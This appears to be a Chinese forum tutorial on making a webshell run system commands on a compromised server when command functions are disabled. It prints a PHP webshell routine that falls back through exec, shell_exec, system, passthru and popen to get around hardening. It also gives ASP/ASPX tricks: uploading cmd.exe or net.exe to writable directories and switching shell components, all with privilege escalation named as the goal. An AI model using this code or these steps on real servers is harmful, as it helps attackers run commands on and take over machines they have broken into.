关于webshell无法执行dos命令的解决办法
6231 点击·0 回帖
![]() | ![]() | |
![]() | #一篇科普性的文章,欢迎小伙伴指正,如果有其他的方法希望一起分享
#文章中难免有不足的地方,望大家谅解,可以回帖一起交流 #当然提权不是必须使用DOS命令,也可以第三方提取等等 需要灵活的思路(某些大牛手握0day直接溢出) (1)在php下有以下函数可以执行命令 exec shell_exec system passthru popen EscapeShellCmd 当php开启安全模式或者做了限制的时候某些敏感函数会被禁止 解决办法:可以在webshell下查看被禁用的函数,使用未被禁用的函数执行dos命令 php大马里面的执行dos命令的函数,可以看到使用elseif测试每一个函数 function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; } 复制代码 (2)在asp&aspx下 1# 如果cmd被删除,或者拒绝访问,可以上传一个cmd.exe到可读可写目录下 2# 如果ws组件被删,可以尝试使用shell.application组件来执行,如果这2个组件都被删,可以尝试使用它们的备用组件来执行(有专用的cmd马) 3#Aspx下一般使用process类来调用执行可执行程序,.net环境中也是可以使用WScript.Shell组件的 当net出现问题时: 如果可以执行一些其他的命令,但是net net1返回为空,则说明net.exe被删除,如果出现拒绝访问,则无权限 解决办法: (1)可以上传一个net.exe到可读可写目录下 (2)Net.exe 恢复 dir net.exe /s /p 或者 dir net1.exe /s /p | |
![]() | ![]() |